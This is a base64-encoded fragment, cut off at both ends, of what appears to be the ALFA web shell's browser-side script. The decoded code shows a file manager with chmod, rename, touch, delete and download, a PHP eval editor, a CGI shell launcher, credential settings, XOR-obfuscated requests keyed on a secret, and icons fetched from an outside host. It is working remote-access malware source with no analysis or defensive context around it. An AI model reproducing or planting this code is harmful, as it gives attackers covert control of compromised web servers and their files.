sYXNzTmFtZSgiaXNfYWN0aXZlIik7MCE9Yy5sZW5ndGgmJihjWzBdLmNsYXNzTmFtZT0iZmlsZS1ob2xkZXIiKSxuPXMsZT1kZWNvZGVVUklDb21wb25lbnQoZSksIWVkaXRvcl9maWxlc1tuXSYmXz8oZWRpdG9yX2ZpbGVzW25dPXtmaWxlOmUscHdkOmYsdHlwZTpvfSxpbnNlcnRUb0hpc3RvcnkobixlLCIgaXNfYWN0aXZlIixvKSwibWtmaWxlIj09YSYmZygiRmlsZXNNYW4iLG51bGwpKTokKG4pLnBhcmVudE5vZGUuY2xhc3NOYW1lKz0iIGlzX2FjdGl2ZSJ9ZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJoaWRkZW4iLGQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiZmlsZXN0b29scyIpWzBdLnNldEF0dHJpYnV0ZSgiZmlkIixuKSxlZGl0b3JfZmlsZXNbbl0mJihkLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImVkaXRvci1wYXRoIilbMF0uaW5uZXJIVE1MPShlZGl0b3JfZmlsZXNbbl0ucHdkKyIvIitlZGl0b3JfZmlsZXNbbl0uZmlsZSkucmVwbGFjZSgvXC9cLy9nLCIvIikpLGVkaXRvcl9jdXJyZW50X2ZpbGU9bix1cGRhdGVDb29raWVFZGl0b3IoKX0sITEsYiksITF9ZnVuY3Rpb24gYWxmYUxvYWRBY2VFZGl0b3IoZSxhKXtpZih2b2lkIDA9PT1hJiYoYT0hMSksbnVsbD09JCgiYWxmYS1hY2UtcGx1Z2luIikpe3ZhciB0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3JldHVybiB0LnNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvYWNlLzEuNC4xMS9hY2UuanMiLHQuaWQ9ImFsZmEtYWNlLXBsdWdpbiIsdC5vbmxvYWQ9ZnVuY3Rpb24oKXthbGZhTG9hZEFjZUVkaXRvcihlLGEpfSxkLmJvZHkuYXBwZW5kQ2hpbGQodCksITF9dHJ5eyJhbGxvdyI9PSQoZSkuZ2V0QXR0cmlidXRlKCJtb2RlIikmJihhPSExKX1jYXRjaChlKXt9aWYoInZpZXdfbWxfY29udGVudCI9PWUpe251bGw9PWFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yJiYoYWxmYV9hY2VfZWRpdG9ycy5lZGl0b3I9e30pO3ZhciBpPWdldENvb2tpZSgiYWxmYV9hY2VfdGhlbWVfZWRpdG9yIiksbD1nZXRDb29raWUoImFsZmFfYWNlX2ZvbnRzaXplX2VkaXRvciIpO3ZvaWQgMD09PWkmJihpPSJ0ZXJtaW5hbCIpLDA9PWkubGVuZ3RoJiYoaT0idGVybWluYWwiKSxkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5lZGl0b3ItYWNlLWNvbnRyb2xsZXIiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2lmKG51bGwhPWUuZ2V0QXR0cmlidXRlKCJhY2UiKSlyZXR1cm4hMTtlLnNldEF0dHJpYnV0ZSgiYWNlIiwib2siKTt2YXIgdD1nZXRSYW5kb20oMTApLG89ZS5xdWVyeVNlbGVjdG9yKCIudmlld19tbF9jb250ZW50Iik7by5zZXRBdHRyaWJ1dGUoImlkIiwidmlld19tbF9jb250ZW50LSIrdCksYWxmYV9hY2VfZWRpdG9ycy5lZGl0b3JbInZpZXdfbWxfY29udGVudC0iK3RdPWFjZS5lZGl0KG8pLGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5zZXRSZWFkT25seShhKSxhbGZhX2FjZV9lZGl0b3JzLmVkaXRvclsidmlld19tbF9jb250ZW50LSIrdF0uc2V0U2hvd1ByaW50TWFyZ2luKCExKSxhbGZhX2FjZV9lZGl0b3JzLmVkaXRvclsidmlld19tbF9jb250ZW50LSIrdF0uc2V0VGhlbWUoImFjZS90aGVtZS8iK2kpLGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5zZXNzaW9uLnNldE1vZGUoImFjZS9tb2RlL3BocCIpLGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5zZXNzaW9uLnNldFVzZVdyYXBNb2RlKCEwKSxhbGZhX2FjZV9lZGl0b3JzLmVkaXRvclsidmlld19tbF9jb250ZW50LSIrdF0uY29tbWFuZHMuYWRkQ29tbWFuZCh7bmFtZToic2F2ZSIsYmluZEtleTp7d2luOiJDdHJsLVMiLG1hYzoiQ21kLVMifSxleGVjOmZ1bmN0aW9uKGUpe2QucXVlcnlTZWxlY3RvcigiI2FjZS1zYXZlLWJ0bi0iK3QpLmNsaWNrKCl9fSksZS5xdWVyeVNlbGVjdG9yKCJzZWxlY3QuYWNlLXRoZW1lLXNlbGVjdG9yIikudmFsdWU9aSxlLnF1ZXJ5U2VsZWN0b3JBbGwoIi5hY2UtY29udHJvbGVyIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLnNldEF0dHJpYnV0ZSgiYWNlX2lkIiwidmlld19tbF9jb250ZW50LSIrdCksLTEhPWUuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImFjZS1zYXZlLWJ0biIpJiZlLnNldEF0dHJpYnV0ZSgiaWQiLCJhY2Utc2F2ZS1idG4tIit0KX0pLHZvaWQgMCE9PWwmJnNldFRpbWVvdXQoZnVuY3Rpb24oKXthbGZhX2FjZV9lZGl0b3JzLmVkaXRvclsidmlld19tbF9jb250ZW50LSIrdF0uc2V0Rm9udFNpemUocGFyc2VJbnQobCkpfSwxZTMpfSl9ZWxzZXtudWxsPT1hbGZhX2FjZV9lZGl0b3JzLmV2YWwmJihhbGZhX2FjZV9lZGl0b3JzLmV2YWw9e30pO2k9Z2V0Q29va2llKCJhbGZhX2FjZV90aGVtZV9ldmFsIiksbD1nZXRDb29raWUoImFsZmFfYWNlX2ZvbnRzaXplX2V2YWwiKTt2b2lkIDA9PT1pJiYoaT0idGVybWluYWwiKSwwPT1pLmxlbmd0aCYmKGk9InRlcm1pbmFsIiksZC5xdWVyeVNlbGVjdG9yQWxsKCIucGhwLWV2YWxzIikuZm9yRWFjaChmdW5jdGlvbihlKXtpZihudWxsIT1lLmdldEF0dHJpYnV0ZSgiYWNlIikpcmV0dXJuITE7ZS5zZXRBdHRyaWJ1dGUoImFjZSIsIm9rIik7dmFyIHQ9ZS5xdWVyeVNlbGVjdG9yKCIucGhwLWV2YWxzLWFjZSIpLG89Z2V0UmFuZG9tKDEwKTt0LnNldEF0dHJpYnV0ZSgiaWQiLCJwaHBldmFsLSIrbyksYWxmYV9hY2VfZWRpdG9ycy5ldmFsWyJwaHBldmFsLSIrb109YWNlLmVkaXQodCksYWxmYV9hY2VfZWRpdG9ycy5ldmFsWyJwaHBldmFsLSIrb10uc2V0UmVhZE9ubHkoYSksYWxmYV9hY2VfZWRpdG9ycy5ldmFsWyJwaHBldmFsLSIrb10uc2V0U2hvd1ByaW50TWFyZ2luKCExKSxhbGZhX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXS5zZXRUaGVtZSgiYWNlL3RoZW1lLyIraSksYWxmYV9hY2VfZWRpdG9ycy5ldmFsWyJwaHBldmFsLSIrb10uc2Vzc2lvbi5zZXRNb2RlKCJhY2UvbW9kZS9waHAiKSxhbGZhX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXS5zZXNzaW9uLnNldFVzZVdyYXBNb2RlKCEwKSxlLnF1ZXJ5U2VsZWN0b3IoInNlbGVjdC5hY2UtdGhlbWUtc2VsZWN0b3IiKS52YWx1ZT1pLGUucXVlcnlTZWxlY3RvckFsbCgiLmFjZS1jb250cm9sZXIiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2Uuc2V0QXR0cmlidXRlKCJhY2VfaWQiLCJwaHBldmFsLSIrbyl9KSx2b2lkIDAhPT1sJiZzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7YWxmYV9hY2VfZWRpdG9ycy5ldmFsWyJwaHBldmFsLSIrb10uc2V0Rm9udFNpemUocGFyc2VJbnQobCkpfSwxZTMpfSl9fWZ1bmN0aW9uIGluc2VydFRvSGlzdG9yeShlLGEsdCxpKXt2YXIgbD0iIjt0JiYwIT10JiYobD10KTt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKTtvLmlubmVySFRNTD0iPGRpdiBpZD0nIitlKyInIGNsYXNzPSdoaXN0b3J5JyBvbkNsaWNrPSdyZW9wZW4odGhpcyk7Jz48ZGl2IGNsYXNzPSdlZGl0b3ItaWNvbic+Iitsb2FkVHlwZShhLGksZSkrIjwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1maWxlLW5hbWUnPiIrYSsiPC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0naGlzdG9yeS1jbG9zZScgb25DbGljaz0ncmVtb3ZlSGlzdG9yeShcIiIrZSsiXCIpOyc+WDwvZGl2PiIsby5jbGFzc05hbWU9ImZpbGUtaG9sZGVyIitsLG8uYWRkRXZlbnRMaXN0ZW5lcigibW91c2VvdmVyIixmdW5jdGlvbigpe3NldEVkaXRvclRpdGxlKGUsIm92ZXIiKSx0aGlzLmNoaWxkTm9kZXNbMV0uc3R5bGUub3BhY2l0eT0iMSJ9KSxvLmFkZEV2ZW50TGlzdGVuZXIoIm1vdXNlb3V0IixmdW5jdGlvbigpe3NldEVkaXRvclRpdGxlKGUsIm91dCIpLHRoaXMuY2hpbGROb2Rlc1sxXS5zdHlsZS5vcGFjaXR5PSIwIn0pO3ZhciByPWQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiaGlzdG9yeS1saXN0IilbMF07ci5pbnNlcnRCZWZvcmUobyxyLmZpcnN0Q2hpbGQpfWZ1bmN0aW9uIGxvYWRUeXBlKGUsYSx0KXsibm9uZSI9PWEmJl9BamF4KGQuVVJMLCJhPSIrYWxmYWI2NCgiY2hlY2tmaWxldHlwZSIpKyImcGF0aD0iK2FsZmFiNjQoZWRpdG9yX2ZpbGVzW3RdLnB3ZCkrIiZhcmc9IithbGZhYjY0KGVkaXRvcl9maWxlc1t0XS5maWxlKSxmdW5jdGlvbihlKXskKHQpLmlubmVySFRNTD0iPGRpdiBjbGFzcz0nZWRpdG9yLWljb24nPiIrbG9hZFR5cGUoZWRpdG9yX2ZpbGVzW3RdLmZpbGUsZSx0KSsiPC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLWZpbGUtbmFtZSc+IitlZGl0b3JfZmlsZXNbdF0uZmlsZSsiPC9kaXY+IixlZGl0b3JfZmlsZXNbdF0udHlwZT1lfSk7aWYoImZpbGUiPT1hKXthPShhPWUuc3BsaXQoIi4iKSlbYS5sZW5ndGgtMV0udG9Mb3dlckNhc2UoKTstMT09WyJqc29uIiwicHB0IiwicHB0eCIsInhscyIsInhsc3giLCJtc2kiLCJjb25maWciLCJjZ2kiLCJwbSIsImMiLCJjcHAiLCJjcyIsImphdmEiLCJhc3B4IiwiYXNwIiwiZGIiLCJ0dGYiLCJlb3QiLCJ3b2ZmIiwid29mZjIiLCJ3b2ZmIiwiY29uZiIsImxvZyIsImFwayIsImNhYiIsImJ6MiIsInRneiIsImRtZyIsIml6byIsImphciIsIjd6IiwiaXNvIiwicmFyIiwiYmF0Iiwic2giLCJhbGZhIiwiZ3oiLCJ0YXIiLCJwaHAiLCJwaHA0IiwicGhwNSIsInBodG1sIiwiaHRtbCIsInhodG1sIiwic2h0bWwiLCJodG0iLCJ6aXAiLCJwbmciLCJqcGciLCJqcGVnIiwiZ2lmIiwiYm1wIiwiaWNvIiwidHh0IiwianMiLCJyYiIsInB5IiwieG1sIiwiY3NzIiwic3FsIiwiaHRhY2Nlc3MiLCJwbCIsImluaSIsImRsbCIsImV4ZSIsIm1wMyIsIm1wNCIsIm00YSIsIm1vdiIsImZsdiIsInN3ZiIsIm1rdiIsImF2aSIsIndtdiIsIm1wZyIsIm1wZWciLCJkYXQiLCJwZGYiLCIzZ3AiLCJkb2MiLCJkb2N4IiwiZG9jbSJdLmluZGV4T2YoYSkmJihhPSJub3Rmb3VuZCIpfWVsc2UgYT0iZm9sZGVyIjtyZXR1cm4nPGltZyBzcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMve3R5cGV9IiB3aWR0aD0iMzAiIGhlaWdodD0iMzAiPicucmVwbGFjZSgie3R5cGV9IixhKyIucG5nIil9ZnVuY3Rpb24gdXBkYXRlRmlsZUVkaXRvcihlLGEpe3ZhciB0PSJpZF8iK2UsaT0iaWRfY2htb2RlXyIrZSxsPSJpZF9yZW5hbWVfIitlLG89ImlkX3RvdWNoXyIrZSxyPSJpZF9lZGl0XyIrZSxuPSJpZF9kb3dubG9hZF8iK2UsZD0iaWRfZGVsZXRlXyIrZSxzPSQodCkuZ2V0QXR0cmlidXRlKCJmdHlwZSIpOyJmb2xkZXIiPT1zJiYocz0iZGlyIiksImZpbGUiPT1zPygkKHQpLmlubmVySFRNTD1hLCQodCkuc2V0QXR0cmlidXRlKCJocmVmIiwiI2FjdGlvbj1maWxlbWFuJnBhdGg9IitjXysiLyIrYSksJCh0KS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJlZGl0b3IoJyIrYSsiJywnYXV0bycsJycsJycsJycsJ2ZpbGUnKSIpLCQocikuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwiZWRpdG9yKCciK2ErIicsJ2VkaXQnLCcnLCcnLCcnLCciK3MrIicpIiksJChuKS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJnKCdGaWxlc1Rvb2xzJyxudWxsLCciK2ErIicsICdkb3dubG9hZCcpIikpOigkKHQpLmlubmVySFRNTD0iPGI+fCAiK2ErIiB8PC9iPiIsJCh0KS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJnKCdGaWxlc01hbicsICciK2NfKyIvIithKyInKSIpKSwkKGkpLnNldEF0dHJpYnV0ZSgib25jbGljayIsImVkaXRvcignIithKyInLCdjaG1vZCcsJycsJycsJycsJyIrcysiJykiKSwkKGwpLnNldEF0dHJpYnV0ZSgib25jbGljayIsImVkaXRvcignIithKyInLCdyZW5hbWUnLCcnLCcnLCcnLCciK3MrIicpIiksJChvKS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJlZGl0b3IoJyIrYSsiJywndG91Y2gnLCcnLCcnLCcnLCciK3MrIicpIiksJChkKS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJ2YXIgY2hrID0gY29uZmlybSgnQXJlIFlvdSBTdXJlIEZvciBEZWxldGUgIyAiK2ErIiAjID8nKTsgY2hrID8gZygnRmlsZXNNYW4nLG51bGwsJ2RlbGV0ZScsICciK2ErIicpIDogJyc7IiksJCh0KS5zZXRBdHRyaWJ1dGUoImZuYW1lIixhKX1mdW5jdGlvbiB1cGRhdGVEaXJzRWRpdG9yKGUsYSl7dmFyIHQ9ZC5tZi5jLnZhbHVlKyIvIixpPWVkaXRvcl9maWxlc1tlXS5wd2QrIi8iK2ErIi8iLGw9ZWRpdG9yX2ZpbGVzW2VdLnB3ZCsiLyIrZWRpdG9yX2ZpbGVzW2VdLmZpbGUrIi8iO2Zvcih2YXIgbyBpbiBpPWkucmVwbGFjZSgvXC9cLy9nLCIvIiksbD1sLnJlcGxhY2UoL1wvXC8vZywiLyIpLC0xIT0odD10LnJlcGxhY2UoL1wvXC8vZywiLyIpKS5zZWFyY2goaSkmJihpbml0RGlyKHQucmVwbGFjZShpLGwpKSxkLm1mLmMudmFsdWU9dC5yZXBsYWNlKGksbCkpLGVkaXRvcl9maWxlcyl7dmFyIHI9ZWRpdG9yX2ZpbGVzW29dLnB3ZCsiLyI7LTEhPShyPXIucmVwbGFjZSgvXC9cLy9nLCIvIikpLnNlYXJjaChpKSYmKGVkaXRvcl9maWxlc1tvXS5wd2Q9ci5yZXBsYWNlKGksbCkpfXVwZGF0ZUNvb2tpZUVkaXRvcigpfWZ1bmN0aW9uIHVwZGF0ZUNvb2tpZUVkaXRvcigpe3NldENvb2tpZSgiYWxmYV9oaXN0b3J5X2ZpbGVzIixidG9hKEpTT04uc3RyaW5naWZ5KGVkaXRvcl9maWxlcykpLDIwMTIpfWZ1bmN0aW9uIHNldEVkaXRvclRpdGxlKGUsYSl7aWYoIm91dCI9PWEmJiIiIT1lZGl0b3JfY3VycmVudF9maWxlKXt2YXIgdD1kLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItdGFiLW5hbWUuZWRpdG9yLXRhYi1hY3RpdmUiKTtlPW51bGwhPXQ/dC5nZXRBdHRyaWJ1dGUoIm9wdF9pZCIpLnJlcGxhY2UoImVkaXRvcl9zb3VyY2VfIiwiZmlsZV8iKTplZGl0b3JfY3VycmVudF9maWxlfWVkaXRvcl9maWxlc1tlXSYmKGQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiZWRpdG9yLXBhdGgiKVswXS5pbm5lckhUTUw9KGVkaXRvcl9maWxlc1tlXS5wd2QrIi8iK2VkaXRvcl9maWxlc1tlXS5maWxlKS5yZXBsYWNlKC9cL1wvL2csIi8iKSl9ZnVuY3Rpb24gcmVtb3ZlSGlzdG9yeShlKXtkZWxldGUgZWRpdG9yX2ZpbGVzW2VdLCQoZSkmJiQoZSkucGFyZW50Tm9kZS5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKCQoZSkucGFyZW50Tm9kZSk7dmFyIGE9ZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJmaWxlc3Rvb2xzIilbMF07YSYmYS5nZXRBdHRyaWJ1dGUoImZpZCIpPT1lJiYoYS5vdXRlckhUTUw9IiIpLGVkaXRvcl9jdXJyZW50X2ZpbGU9PWUmJihlZGl0b3JfY3VycmVudF9maWxlPSIiKSx1cGRhdGVDb29raWVFZGl0b3IoKX1mdW5jdGlvbiBnZXRSYW5kb20oZSl7Zm9yKHZhciBhPSIiLHQ9IjAxMjM0NTY3ODlhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaIixpPXZvaWQgMD09PWU/MjA6ZTtpPjA7LS1pKWErPXRbTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKnQubGVuZ3RoKV07cmV0dXJuIGF9ZnVuY3Rpb24gcmVvcGVuKGUpe3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJpZCIpLHQ9ZWRpdG9yX2ZpbGVzW2FdLnB3ZCxpPWVkaXRvcl9maWxlc1thXS5maWxlLGw9ImVkaXRvcl9zb3VyY2VfIithLnJlcGxhY2UoImZpbGVfIiwiIik7bnVsbD09JChsKT9lZGl0b3IoaSwiYXV0byIsIiIsdCxhKTplZGl0b3JUYWJDb250cm9sbGVyKGwsITApfWZ1bmN0aW9uIGNvcHlUb0NsaXBib2FyZChlKXtlPWUuZ2V0QXR0cmlidXRlKCJhY2VfaWQiKTt2YXIgYT1hbGZhX2FjZV9lZGl0b3JzLmVkaXRvcltlXS5zZWxlY3Rpb24udG9KU09OKCk7YWxmYV9hY2VfZWRpdG9ycy5lZGl0b3JbZV0uc2VsZWN0QWxsKCksYWxmYV9hY2VfZWRpdG9ycy5lZGl0b3JbZV0uZm9jdXMoKSxkb2N1bWVudC5leGVjQ29tbWFuZCgiY29weSIpLGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yW2VdLnNlbGVjdGlvbi5mcm9tSlNPTihhKSxhbGZhU2hvd05vdGlmaWNhdGlvbigidGV4dCBjb3BpZWQiLCJFZGl0b3IiKX1mdW5jdGlvbiBlbmNyeXB0KGUsYSl7aWYobnVsbD09YXx8YS5sZW5ndGg8PTApcmV0dXJuIG51bGw7ZT1hbGZhYjY0KGUsITApLGE9YWxmYWI2NChhLCEwKTtmb3IodmFyIHQ9IiIsaT0iIixsPTA7bDxlLmxlbmd0aDspZm9yKHZhciBvPTA7bzxhLmxlbmd0aCYmKHQ9ZS5jaGFyQ29kZUF0KGwpXmEuY2hhckNvZGVBdChvKSxpKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHQpLCEoKytsPj1lLmxlbmd0aCkpO28rKyk7cmV0dXJuIGFsZmFiNjQoaSwhMCl9ZnVuY3Rpb24gcmVsb2FkU2V0dGluZyhlKXtyZXR1cm4gYWxmYWxvYWRlcihhbGZhX2JlZm9yZV9kb19hY3Rpb25faWQsImJsb2NrIiksX0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJzZXR0aW5ncyIpKyImYWxmYTE9IithbGZhYjY0KGUucHJvdGVjdC52YWx1ZSkrIiZhbGZhMj0iK2FsZmFiNjQoZS5sZ3BhZ2UudmFsdWUpKyImYWxmYTM9IithbGZhYjY0KGUudXNlcm5hbWUudmFsdWUpKyImYWxmYTQ9IithbGZhYjY0KGUucGFzc3dvcmQudmFsdWUpKyImYWxmYTU9IithbGZhYjY0KCI+PiIpKyImYWxmYTY9IithbGZhYjY0KGUuaWNvbi52YWx1ZSkrIiZhbGZhNz0iK2FsZmFiNjQoZS5wb3N0X2VuY3J5cHQudmFsdWUpKyImYWxmYTg9IithbGZhYjY0KCJtYWluIikrIiZhbGZhOT0iK2FsZmFiNjQoZS5jZ2lfYXBpLnZhbHVlKSsiJmM9IithbGZhYjY0KGNfKSsiJmFqYXg9IithbGZhYjY0KCJ0cnVlIiksZnVuY3Rpb24oZSxhKXtsb2FkUG9wVXBPcFRpb25zKGEsZSksZXZhbEpTKGUpLGFsZmFsb2FkZXIoYSwibm9uZSIpfSwhMSxhbGZhX2JlZm9yZV9kb19hY3Rpb25faWQpLGFsZmFfYmVmb3JlX2RvX2FjdGlvbl9pZD0iIiwwPT1lLmUudmFsdWUmJjE9PWUucHJvdGVjdC52YWx1ZSYmc2V0VGltZW91dCgibG9jYXRpb24ucmVsb2FkKCkiLDFlMyksZS5zLnZhbHVlIT1lLmljb24udmFsdWUmJnNldFRpbWVvdXQoImxvY2F0aW9uLnJlbG9hZCgpIiwxZTMpLCExfWZ1bmN0aW9uIHJlbG9hZENvbG9ycyhlKXt2YXIgYT17fTt2b2lkIDA9PT1lP2QucXVlcnlTZWxlY3RvckFsbCgiLmNvbG9yc19pbnB1dCIpLmZvckVhY2goZnVuY3Rpb24oZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoInRhcmdldCIpLnJlcGxhY2UoIi4iLCIiKTthW3RdPWUudmFsdWV9KTphPWU7dmFyIHQ9JCgidXNlX2RlZmF1bHRfY29sb3IiKS5jaGVja2VkPyIxIjoiMCI7X0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJzZXR0aW5ncyIpKyImYWxmYTE9IithbGZhYjY0KEpTT04uc3RyaW5naWZ5KGEpKSsiJmFsZmEyPSIrYWxmYWI2NCgiPj4iKSsiJmFsZmEzPSIrYWxmYWI2NCh0KSsiJmFsZmE4PSIrYWxmYWI2NCgiY29sb3IiKSsiJmM9IithbGZhYjY0KGNfKSsiJmFqYXg9IithbGZhYjY0KCJ0cnVlIiksZnVuY3Rpb24oZSl7ZXZhbEpTKGUpfSwhMCl9ZnVuY3Rpb24gYWxmYWI2NChlLGEpe3JldHVybiB2b2lkIDAhPT1hfHwwPT1wb3N0X2VuY3J5cHRpb25fbW9kZT93aW5kb3cuYnRvYSh1bmVzY2FwZShlbmNvZGVVUklDb21wb25lbnQoZSkpKTplbmNyeXB0KGUsIjw/cGhwIGVjaG8gX19BTEZBX1NFQ1JFVF9LRVlfXzsgPz4iKX1mdW5jdGlvbiBldmFsQ3NzKGUpe3ZhciBhPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInN0eWxlIik7YS5zdHlsZVNoZWV0P2Euc3R5bGVTaGVldC5jc3NUZXh0PWU6YS5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVUZXh0Tm9kZShlKSksZC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLmFwcGVuZENoaWxkKGEpfWZ1bmN0aW9uIGNvbG9ySGFuZGxlcktleShlKXtzZXRUaW1lb3V0KGZ1bmN0aW9uKGEpe2NvbG9ySGFuZGxlcihlKX0sMjAwKX1mdW5jdGlvbiBjb2xvckhhbmRsZXIoZSl7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoInRhcmdldCIpLHQ9ZS5nZXRBdHRyaWJ1dGUoIm11bHRpIiksbD1hLmluZGV4T2YoIjpob3ZlciIpO2lmKHQpe3ZhciBvPUpTT04ucGFyc2UoYXRvYih0KSkscj0iIjtmb3IoaSBpbiBvLm11bHRpX3NlbGVjdG9yKXIrPWkrInsiK28ubXVsdGlfc2VsZWN0b3JbaV0ucmVwbGFjZSgve2NvbG9yfS9nLGUudmFsdWUpKyJ9IjtldmFsQ3NzKHIpfS0xPT1sfHx0PygkKCJpbnB1dF8iK2EucmVwbGFjZSgiLiIsIiIpKS52YWx1ZT1lLnZhbHVlLCQoImd1aV8iK2EucmVwbGFjZSgiLiIsIiIpKS52YWx1ZT1lLnZhbHVlLCIuaGVhZGVyX3ZhbHVlcyI9PWEmJihhPSIuaGVhZGVyLC5oZWFkZXJfdmFsdWVzIiksZC5xdWVyeVNlbGVjdG9yQWxsKGEpLmZvckVhY2goZnVuY3Rpb24oYSl7YS5zdHlsZS5jb2xvcj1lLnZhbHVlfSkpOigkKCJpbnB1dF8iK2EucmVwbGFjZSgiLiIsIiIpKS52YWx1ZT1lLnZhbHVlLCQoImd1aV8iK2EucmVwbGFjZSgiLiIsIiIpKS52YWx1ZT1lLnZhbHVlLGV2YWxDc3MoYSsie2NvbG9yOiAiK2UudmFsdWUrIjt9IikpfWZ1bmN0aW9uIGltcG9ydENvbmZpZyhlKXt2YXIgYT1lLnRhcmdldCx0PW5ldyBGaWxlUmVhZGVyO3Qub25sb2FkPWZ1bmN0aW9uKCl7dmFyIGU9dC5yZXN1bHQ7dHJ5e3JlbG9hZENvbG9ycyhKU09OLnBhcnNlKGUpKX1jYXRjaChlKXthbGVydCgiQ29uZmlnIGlzIGludmFsaWQuLi4hIil9JCgiaW1wb3J0RmlsZUJ0biIpLnZhbHVlPSIifSx0LnJlYWRBc1RleHQoYS5maWxlc1swXSl9ZnVuY3Rpb24gY2hlY2tCb3goZSl7dmFyIGE9YWxmYV9jdXJyZW50X2ZtX2lkLHQ9ZS5jaGVja2VkO2QucXVlcnlTZWxlY3RvckFsbCgiI2ZpbGVzbWFuX2hvbGRlcl8iK2ErIiBmb3JtW25hbWU9ZmlsZXNdIGlucHV0W3R5cGU9Y2hlY2tib3hdIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmNoZWNrZWQ9dH0pfWZ1bmN0aW9uIHJ1bmNnaShlKXtpZigkKCJjZ2lmcmFtZSIpLnN0eWxlLmhlaWdodD0idW5zZXQiLGQucXVlcnlTZWxlY3RvcigiI2NnaWxvYWRlci1taW5pbWl6ZWQgLm1pbmltaXplZC10ZXh0IikuaW5uZXJIVE1MPSJDZ2kgU2hlbGwiLGQucXVlcnlTZWxlY3RvcigiI2NnaWxvYWRlciAub3B0LXRpdGxlIikuaW5uZXJIVE1MPSJDZ2kgU2hlbGwiLGNnaV9pc19taW5pbWl6ZWQmJmNnaV9sYW5nPT1lJiYoc2hvd0VkaXRvcigiY2dpbG9hZGVyIiksMD09cGhwX3RlbXJpbmFsX3VzaW5nX2NnaSkpcmV0dXJuITE7cGhwX3RlbXJpbmFsX3VzaW5nX2NnaT0hMSxfQWpheChkLlVSTCwiYT0iK2FsZmFiNjQoImNnaXNoZWxsIikrIiZhbGZhMT0iK2FsZmFiNjQoZSkrIiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpLGZ1bmN0aW9uKGEpe2QuYm9keS5zdHlsZS5vdmVyZmxvdz0iaGlkZGVuIiwkKCJjZ2lsb2FkZXIiKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsZC5xdWVyeVNlbGVjdG9yKCIjY2dpZnJhbWUgLnRlcm1pbmFsLXRhYnMiKS5pbm5lckhUTUw9IiIsZC5xdWVyeVNlbGVjdG9yKCIjY2dpZnJhbWUgLnRlcm1pbmFsLWNvbnRlbnRzIikuaW5uZXJIVE1MPWEsY2dpX2xhbmc9ZSxjZ2lfaXNfbWluaW1pemVkJiYoJCgiY2dpbG9hZGVyLW1pbmltaXplZCIpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJtaW5pbWl6ZWQtaGlkZSIpLHNldFRpbWVvdXQoZnVuY3Rpb24oKXskKCJjZ2lsb2FkZXIiKS5yZW1vdmVBdHRyaWJ1dGUoImNsYXNzIiksaXNfbWluaW1pemVkJiYoJCgiZWRpdG9yLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iMzAlIil9LDFlMykpfSl9RWxlbWVudC5wcm90b3R5cGUuYXBwZW5kQWZ0ZXI9ZnVuY3Rpb24oZSl7ZS5wYXJlbnROb2RlLmluc2VydEJlZm9yZSh0aGlzLGUubmV4dFNpYmxpbmcpfTsKPC9zY3JpcHQ+Cjw/cGhwIGVjaG8iPGZvcm0gc3R5bGU9J2Rpc3BsYXk6bm9uZTsnIGlkPSdkbEZvcm0nIGFjdGlvbj0nJyB0YXJnZXQ9J19ibGFuaycgbWV0aG9kPSdwb3N0Jz4KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J2RsZmlsZSc+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2MnIHZhbHVlPScnPgo8aW5wdXQgdHlwZT0naGlkZGVuJyBuY